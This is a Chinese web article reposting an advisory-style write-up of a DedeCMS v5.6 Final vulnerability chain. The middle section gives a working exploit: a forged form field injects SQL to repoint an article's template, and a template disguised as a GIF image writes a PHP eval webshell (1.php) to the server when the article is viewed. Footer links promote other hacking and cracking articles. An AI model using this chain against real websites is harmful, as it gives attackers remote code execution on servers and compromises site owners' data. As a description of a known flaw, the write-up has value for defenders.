驱动管家:安全、高效、精准的专业驱动下载站!

dedecms是什么?dedecms v5.6 final版本有哪些漏洞?

2018-01-17 13:30:56责编:llp   来源:驱动管家     人气:

影响版本:

DEDECMS v5.6 Final

dedecms是什么?dedecms v5.6 final版本有哪些漏洞?

程序介绍:

DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于DedeCms核心,是目前国内应用最广泛的php类CMS系统。

漏洞分析:

Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。

1、member/article_edit.php文件(注入):

//漏洞在member文件夹下普遍存在,$dede_addonfields是由用户提交的,可以被伪造,伪造成功即可带入sql语句,于是我们可以给附加表的内容进行update赋值。


PHP Code复制内容到剪贴板

… //分析处理附加表数据 $inadd_f=''; if(!emptyempty($dede_addonfields))//自己构造$dede_addonfields { $addonfields=explode(';',$dede_addonfields); if(is_array($addonfields)) { print_r($addonfields); foreach($addonfieldsas$v) { if($v=='') { continue; } $vs=explode(',',$v); if(!isset(${$vs[0]})) { ${$vs[0]}=''; } ${$vs[0]}=GetFieldValueA(${$vs[0]},$vs[1],$aid); $inadd_f.=','.$vs[0]."='".${$vs[0]}."'"; echo$inadd_f; } } } … if($addtable!='') { $upQuery="Update`$addtable`settypeid='$typeid',body='$body'{$inadd_f},userip='$userip'whereaid='$aid'";//执行构造的sql if(!$dsql->ExecuteNoneQuery($upQuery)) { ShowMsg("更新附加表`$addtable`时出错,请联系管理员!","javascript:;"); exit(); } } …

2、include/inc_archives_view.php:

//这是模板处理类,如果附加表的模板路径存在,直接从附加表取值;GetTempletFile获取模板文件的方法就是取的此处的模板路径,从来带进去解析。


PHP Code复制内容到剪贴板

… //issystem==-1表示单表模型,单表模型不支持redirecturl这类参数,因此限定内容普通模型才进行下面查询 if($this->ChannelUnit->ChannelInfos['addtable']!=''&&$this->ChannelUnit->ChannelInfos['issystem']!=-1) { if(is_array($this->addTableRow)) { $this->Fields['redirecturl']=$this->addTableRow['redirecturl']; $this->Fields['templet']=$this->addTableRow['templet'];//取值 $this->Fields['userip']=$this->addTableRow['userip']; } $this->Fields['templet']=(emptyempty($this->Fields['templet'])?'':trim($this->Fields['templet'])); $this->Fields['redirecturl']=(emptyempty($this->Fields['redirecturl'])?'':trim($this->Fields['redirecturl'])); $this->Fields['userip']=(emptyempty($this->Fields['userip'])?'':trim($this->Fields['userip'])); } else { $this->Fields['templet']=$this->Fields['redirecturl']=''; } … //获得模板文件位置 functionGetTempletFile() { global$cfg_basedir,$cfg_templets_dir,$cfg_df_style; $cid=$this->ChannelUnit->ChannelInfos['nid']; if(!emptyempty($this->Fields['templet'])) { $filetag=MfTemplet($this->Fields['templet']); if(!ereg('/',$filetag))$filetag=$GLOBALS['cfg_df_style'].'/'.$filetag; } else { $filetag=MfTemplet($this->TypeLink->TypeInfos["temparticle"]); } $tid=$this->Fields['typeid']; $filetag=str_replace('{cid}',$cid,$filetag); $filetag=str_replace('{tid}',$tid,$filetag); $tmpfile=$cfg_basedir.$cfg_templets_dir.'/'.$filetag; if($cid=='spec') { if(!emptyempty($this->Fields['templet'])) { $tmpfile=$cfg_basedir.$cfg_templets_dir.'/'.$filetag; } else { $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm"; } } if(!file_exists($tmpfile)) { $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec'?'article_spec.htm':'article_default.htm'); } return$tmpfile; }

漏洞利用:

1.上传一个模板文件:

注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:

uploads/userup/2/12OMX04-15A.jpg

模板内容是(如果限制图片格式,加gif89a):

{dede:name runphp='yes'}

$fp = @fopen("1.php", 'a');

@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_post[cmd])'."\r\n\r\n?".">\r\n");

@fclose($fp);

{/dede:name}

2.修改刚刚发表的文章,查看源文件,构造一个表单:


XML/HTML Code复制内容到剪贴板

修改文章(用逗号分开)测试栏目*(不能选择带颜色的分类)请选择分类...hahahha1111111(内容的简要说明)(这里构造)

详细内容提交重置

提交,提示修改成功,则我们已经成功修改模板路径。

3.访问修改的文章:

假设刚刚修改的文章的aid为2,则我们只需要访问:

http://127.0.0.1/dede/plus/view.php?aid=2

即可以在plus目录下生成小马:1.php

解决方案:

厂商补丁:

DEDECMS

------------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.dedecms.com/

信息来源: oldjun's Blog

  • 验证码无法显示怎么办?验证码无法显示的解决方法

    验证码无法显示怎么办?验证码无法显示的解决方法

    晚上检测一个站的时候,猜解出了密码,扫出了后台,可验证码就是无法显示,难道管理员故意弄的?不太可能吧?于是上网一搜,没想到还真找到了解决的方法。我的是Vista Ultimate,部分XP SP2也会有这个问题。好

    详情2018-01-02 16:13:09责编:llp   来源:驱动管家     
  • 黑客入侵有哪些方法?黑客入侵的手段

    黑客入侵有哪些方法?黑客入侵的手段

      1 1433端口入侵  scanport exe 查有1433的机器  SQLScanPass exe 进行字典暴破(字典是关键)

    详情2018-01-06 16:07:26责编:llp   来源:驱动管家     
  • 勒索软件补丁:安装android7.0 nougat

    勒索软件补丁:安装android7.0 nougat

    有一天打开电脑,发现电脑已经被锁住,窗口弹出说明:如果你不给钱,就把你的电脑清空,这就是遇到了勒索软件。近年来,这种勒索已经频频出现在安卓手机上,手机里的重要资料可能比电脑里还多,这时候怎么办,真

    详情2018-01-04 09:11:33责编:llp   来源:驱动管家     
  • 网吧破解怎么做?怎么破解网吧?

    网吧破解怎么做?怎么破解网吧?

    解万象秘笈 一 用Alt Ctrl Del组合键(万象) 开机后,当出现蓝背景时,立即按组合键,弹出“关闭程序”对话框,若里面有“client”后则立即关闭,当发现“未知”程序时也要关闭,因为万象会启动两次。万象被结束了,

    详情2018-01-05 09:14:06责编:llp   来源:驱动管家     
  • cc攻击是什么?怎么防cc攻击网站?

    cc攻击是什么?怎么防cc攻击网站?

    CC攻击(Challenge Collapsar)是DDOS(分布式拒绝服务)的一种,也是一种常见的网站攻击方法,攻击者通过代理服务器或者肉鸡向向受害主机不停地发大量数据包,造成对方服务器资源耗尽,一直到宕机崩溃。CC攻击

    详情2018-01-13 14:51:33责编:llp   来源:驱动管家     
  • 科迅会员上传webshell漏洞?文件webshell漏洞怎么修复?

    科迅会员上传webshell漏洞?文件webshell漏洞怎么修复?

    会员上传文件漏洞,可以上传任意后缀user swfupload asp文件漏洞复制代码代码如下:If UpFileObj Form( "NoReName ")= "1 " Then & 39;不更名Dim PhysicalPath,FsoObj:Set FsoObj = KS InitialObject(KS Settin

    详情2018-01-11 14:54:27责编:llp   来源:驱动管家     
  • samb的密码认证方式 为什么samb认证会泄露密码?

    samb的密码认证方式 为什么samb认证会泄露密码?

      下面是SMB的密码认证方式。  WINDOWS的139口的访问过程,箭头表示数据方向:  1 客户端

    详情2018-01-06 16:20:14责编:llp   来源:驱动管家     
  • php文件包含哪些漏洞?php包含漏洞替代技术

    php文件包含哪些漏洞?php包含漏洞替代技术

    php包含漏洞替代技术================php开发者们犯得一个基本的错误是把一个不正当的变量传递给系统函数,特别是include()和require()这两个函数。这个常见的错误导致了众所周知的远程文件包含漏洞和本地文件包

    详情2018-01-11 10:16:30责编:llp   来源:驱动管家     
  • 手机停机也可以上网?手机免费上网攻略

    手机停机也可以上网?手机免费上网攻略

    手机停机一样可以无限量免费上网现在向大家透露一个如何激活已停机卡的方法!?激活了以后就可以免费上网了。注:《本人动感地带的卡已测,通过》!首先,准备一张已经欠费停机的卡。注意重点:《1、需要知道卡的

    详情2018-01-09 15:11:13责编:llp   来源:驱动管家     
  • web服务器的漏洞 web服务器的保护

    web服务器的漏洞 web服务器的保护

    Web安全分为两大类:· Web服务器的安全性(Web服务器本身安全和软件配置)。· Web应用程序的安全性(在Web服务器上运行的Java、 ActiveX、PHP、ASP代码的安全)。Web服务器面临的攻击Web服务器攻击利用Web服务器

    详情2018-01-08 19:52:37责编:llp   来源:驱动管家